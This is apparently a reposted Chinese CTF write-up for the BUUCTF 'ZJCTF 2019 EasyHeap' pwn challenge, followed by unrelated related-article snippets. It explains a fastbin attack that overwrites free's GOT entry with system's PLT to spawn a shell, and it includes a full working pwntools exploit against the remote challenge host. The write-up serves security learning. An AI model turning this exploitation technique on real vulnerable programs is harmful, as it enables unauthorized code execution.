BUUCTF[PWN][fastbin attack]

fastbin_attack例题


题目:[BUUCTF在线评测 (buuoj.cn)](https://buuoj.cn/challenges#[ZJCTF 2019]EasyHeap)

  • 整体思路:利用编辑时edit_heap函数的栈溢出漏洞,覆盖heaparray中的栈指针指向free的got表,将其改为system的plt表,从而劫持free函数,并且再向heaparray的另外一个指针指向的堆空间上写入字符串 /bin/sh/x00 ,再free掉该堆空间,就能变向执行system(“/bin/sh”)

解题:

  1. 题目中delete_heap函数在释放时将heaparray数组上的指针清0了,所以无法利用UAF:

    image-20240707170514509

  2. 但是在edit_heap函数中存在栈溢出漏洞,可以利用栈溢出覆盖fd伪造heap,再覆盖heaparray劫持free的got表(修改为system的plt表):

    image-20240707170555290

利用:

  1. 在heaparray前面找一个空间来伪造堆(后续要利用它覆盖掉heaparray数组里面的指针),这个伪造的堆上size值要与实际分配的大小(包含chunk头大小)相同(与size相差0x11):

    在0x00000000006020E0-0x33处刚好有一个空间中存储着0x7f,可以将地址0x6020ad作为伪造堆,那么0x7f就是size字段的值了,只要我们申请的空间为 0x7f-0x11=0x68 就能在释放后再次申请到该空间作为堆。

    先申请三个堆,大小为0x68(实际分配的大小为0x7f),再释放掉heap2,利用heap2进行fastbin attack,实行任意地址申请堆(刚才找到的伪造堆)

    add(0x68,b'6')#0 用于写free的got为system
    add(0x68,b'6')#1 用于存放binsh和覆盖2
    add(0x68,b'6')#2 用于构造fastbin attack,写heap0指针为free的got表
    free(2) #释放到fastbin,进行fastbin attack,具体方式是修改fd为heap指针附近的地址
    

    image-20240707172942666

    编辑heap1.覆盖掉heap2的fd指针,并传参**“/bin/sh”** ,b’\x00’*0x60用来填充,p64(0x71)用来绕过size字段,p64(0x6020ad)就是修改的heap2的fd指针:

    edit(1,b'/bin/sh\x00'+b'\x00'*0x60+p64(0x71)+p64(0x6020ad))
    #在heap1写binsh,0x6020ad是刚才定位到的fake heap
    

    image-20240707174020028

    下面将heap2申请回来,再多申请一次就能得到我们前面伪造的堆0x6020ad,利用伪造的堆(heap3)进行堆溢出,覆盖掉heaparray上的heap0指针,指向free的got表:

    add(0x68,b'6')#把2恢复回来
    add(0x68,b'6')#创建fake heap,实际上是heap指针数组前面0x33
    edit(3,b'\x00'*0x23+p64(elf.got['free']))   #覆盖heap0为free的got表0x602018
    

    覆盖前:

    image-20240707174501881

    覆盖后,成功将heaparry[0]覆盖为free的got表:

    image-20240707174347784

    后面直接编辑heap0,就能将free的got表上的值,修改为system的plt。之所以不直接覆盖为system的got表是因为函数调用的过程,如果之前调用过一次,那么后续会直接用got表上的值作为函数的确切地址,rip直接跳转到该处来执行指令,所以要先去到system的plt位置执行指令(第一次调用system函数),直接用got表逻辑上说不通因为got表的位置根本不是指令(会报错):

    image-20240707175346698

    image-20240707174638591

    edit(0,p64(elf.plt['system']))#此时heap0的指针已经被修改指向了free的got表0x602018,
    

    劫持free的got表之前:

    image-20240707175913216

    劫持free的got表之之后:

    image-20240707180152357

    后面只要free掉heap1即可调用system(“/bin/sh”),因为heaparray[1]处的指针指向了 “/bin/sh” 字符串(前面覆盖的):

    free(1)#执行system(原来是free),heap1指向的位置已经被写'/bin/sh'字符串
    

    成功劫持到free函数,来执行 system(“/bin/sh”)

    image-20240707180952320

完整EXP:

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='amd64')

# p = process('./pwn')
p = remote("node5.buuoj.cn",29165)
elf = ELF('./pwn')
# libc = ELF('./libc.so.6')

n2b = lambda x    : str(x).encode()
rv  = lambda x    : p.recv(x)
ru  = lambda s    : p.recvuntil(s)
sd  = lambda s    : p.send(s)
sl  = lambda s    : p.sendline(s)
sn  = lambda s    : sl(n2b(n))
sa  = lambda t, s : p.sendafter(t, s)
sla = lambda t, s : p.sendlineafter(t, s)
sna = lambda t, n : sla(t, n2b(n))
ia  = lambda      : p.interactive()
rop = lambda r    : flat([p64(x) for x in r])

if args.G:
    gdb.attach(p)

def add(size,content):
    sla(':','1')
    sla(':',str(size))
    sla(':',content)

def edit(idx, content):
    sla(':','2')
    sla(':',str(idx))
    sla(':',str(len(content)))
    sla(':',content)

def free(idx):
    sla(':','3')
    sla(':',str(idx))

add(0x68,b'6')#0 用于写free的got为system
add(0x68,b'6')#1 用于存放binsh和覆盖2
add(0x68,b'6')#2 用于构造fastbin attack,写heap0指针为free的got表
free(2)       #释放到fastbin,进行fastbin attack,具体方式是修改fd为heap指针附近的地址

edit(1,b'/bin/sh\x00'+b'\x00'*0x60+p64(0x71)+p64(0x6020ad))
#在heap1写binsh,0x6020ad是刚才定位到的fake heap

add(0x68,b'6')#把2恢复回来
add(0x68,b'6')#创建fake heap,实际上是heap指针数组前面0x33
edit(3,b'\x00'*0x23+p64(elf.got['free']))   #覆盖heap0为free的got表0x602018
edit(0,p64(elf.plt['system']))#此时heap0的指针已经被修改指向了free的got表0x602018,
# 直接往上面写数据协商system的plt表即可完成劫持,覆盖free的got为system的plt

free(1)#执行system(原来是free),heap1指向的位置已经被写'/bin/sh'字符串
ia()

image-20240707182207960

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/780961.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

make工具

1、什么是make? make是个命令,是个可执行程序,是个工具,用来解析Makefile文件的命令,这个命令存放在/usr/bin/目录下 -rwxr-xr-x 1 root root 250K 2月 15 2022 make -rwxr-xr-x 1 root root 4.8K 2月 15 2022 ma…

Linux_实现简易日志系统

目录 1、认识可变参数 2、解析可变参数 3、打印可变参数 3.1 va_list 3.2 va_start 3.3 va_arg 3.4 va_end 3.5 小结 4、实现日志 4.1 日志左半部分 4.2 日志右半部分 4.3 日志的存档归类 结语 前言: 在Linux下实现一个日志系统,该日…

Open3D 删除点云中重叠的点(方法二)

目录 一、概述 1.1原理 1.2应用 二、代码实现 三、实现效果 3.1原始点云 3.2处理后点云 3.3数据对比 一、概述 在点云处理中,重叠点(即重复点)可能会对数据分析和处理的结果产生负面影响。因此,删除重叠点是点云预处理中常…

一招解决找不到d3dcompiler43.dll,无法继续执行代码问题

当您的电脑遇到d3dcompiler43.dll缺失问题时,首先需要了解d3dcompiler43.dll文件及其可能导致问题的原因,之后便可以选择合适的解决方案。在此,我们将会为您提供寻找d3dcompiler43.dll文件的多种处理方法。 一、d3dcompiler43.dll文件分析 d…

【C++第十课 - stack_queue】stack、queue的使用、适配器模型stack、queue和priority_queue的底层实现、deque

目录 一、stack使用1、push2、pop3、empty4、top题目1、最小栈2、栈的压入、弹出序3、逆波兰表达式求值 二、queue的使用priority_queue习题 三、适配器stack的底层实现queue的底层实现priority_queue的底层实现仿函数/函数对象函数指针 四、deque 一、stack使用 stack是个容器…

【74LS163做24进制计数器】2021-11-19

缘由用74LS163做24进制计数器-其他-CSDN问答,仿真multisim两个74LS163芯片如何构成47进制计数器-吐槽问答-CSDN问答 参考74ls163中文资料汇总(74ls163引脚图及功能_内部结构图及应用电路) - 电子发烧友网

1.pwn的汇编基础(提及第一个溢出:整数溢出)

汇编掌握程度 能看懂就行,绝大多数情况不需要真正的编程(shellcode题除外) 其实有时候也不需要读汇编,ida F5 通常都是分析gadget,知道怎么用, 调试程序也不需要分析每一条汇编指令,单步执行然后查看寄存器状态即可 但…

【Python机器学习】模型评估与改进——多分类指标

多分类问题的所有指标基本是上都来自于二分类问题,但是要对所有类别进行平均。多分类的精度被定义为正确分类的样本所占的比例。同样,如果类别是不平衡的,精度并不是很好的评估度量。 想象一个三分类问题,其中85%的数据点属于类别…

Java(七)——多态

个人简介 👀个人主页: 前端杂货铺 ⚡开源项目: rich-vue3 (基于 Vue3 TS Pinia Element Plus Spring全家桶 MySQL) 🙋‍♂️学习方向: 主攻前端方向,正逐渐往全干发展 &#x1…

Go语言如何入门,有哪些书推荐?

Go 语言之所以如此受欢迎,其编译器功不可没。Go 语言的发展也得益于其编译速度够快。 对开发者来说,更快的编译速度意味着更短的反馈周期。大型的 Go 应用程序总是能在几秒钟之 内完成编译。而当使用 go run编译和执行小型的 Go 应用程序时,其…

VMware虚拟机搭建CentOS7环境

相关资料 安装VMware 双击VMware-workstation(16.1.1软件安装包.exe安装文件,点下一步 激活码文件复制激活码激活安装linux 1、点击创建虚拟机

Open3D 删除点云中重叠的点(方法一)

目录 一、概述 二、代码实现 三、实现效果 3.1原始点云 3.2处理后的点云 3.3计算结果 一、概述 在点云处理中,重叠点(即重复点)可能会对数据分析和处理的结果产生负面影响。因此,删除重叠点是点云预处理中常见且重要的步骤。…

【网络安全】实验一(网络拓扑环境的搭建)

一、本次实验的实验目的 学习利用 VMware 创建虚拟环境 学习利用 VMware 搭建各自网络拓扑环境 二、创建虚拟机 三、克隆虚拟机 选择克隆的系统必须处于关机状态。 方法一: 方法二: 需要修改克隆计算机的名字,避免产生冲突。 四、按照要求完…

机器学习原理之 -- 神经网络:由来及原理详解

神经网络(Neural Networks)是受生物神经系统启发而设计的一类计算模型,广泛应用于图像识别、语音识别、自然语言处理等领域。其基本思想是通过模拟人脑神经元的工作方式,实现对复杂数据的自动处理和分类。本文将详细介绍神经网络的…

Scrapy框架的基本使用教程

1、创建scrapy项目 首先在自己的跟目录文件下执行命令: PS D:\BCprogram\python_pro\bigdata> scrapy startproject theridion_grallatorscrapy startproject 项目名 具体执行操作如下:1、创建项目目录:Scrapy会在当前工作目录下创建一…

【python中级】图像从从笛卡尔坐标系转换为极坐标系

【python中级】图像从从笛卡尔坐标系转换为极坐标系 1.背景2.生成二维图3.极坐标转换1.背景 笛卡尔坐标系就是我们常说的直角坐标系。 笛卡尔坐标系,也称为直角坐标系,是由法国数学家和哲学家勒内笛卡尔(Ren Descartes)发明的一种二维或三维坐标系统。它使用两个或三个相互…

【Qt】Qt开发环境搭建

目录 一. Qt SDK的下载&安装 二. Qt相关工具介绍 Qt的常用开发工具有: Qt CreatorVisual StudioEclipse 一. Qt SDK的下载&安装 Qt 下载官网: http://download.qt.io/archive/qt/ 国内清华源: https://mirrors.tuna.tsinghua.edu.cn/qt/arc…

C# WinForm —— 37 TabControl 控件介绍

1. 简介 管理一个TabPages集合的控件,也是一个分组控件 如果一个模块有多个子页面,可以使用TabControl控件进行页面切换 2. 属性 属性解释(Name)控件ID,在代码里引用的时候会用到Enabled控件是否启用Alignment确定选项卡是否显示在控件的…

扩散模型笔记2

Ref:扩散模型的原理及实现(Pytorch) 在扩散模型中,每一步添加的噪声并不是完全一样的。具体来说,噪声的添加方式和量在每一步是根据特定的规则或公式变化的。这里我们详细解释每一步添加噪声的过程。 正向过程中的噪声添加&…

两种转5V的DCDC电路:

最大电流:5A 最大电流:3A 验证通过:RT8289GSP性能更佳,带载能力更强: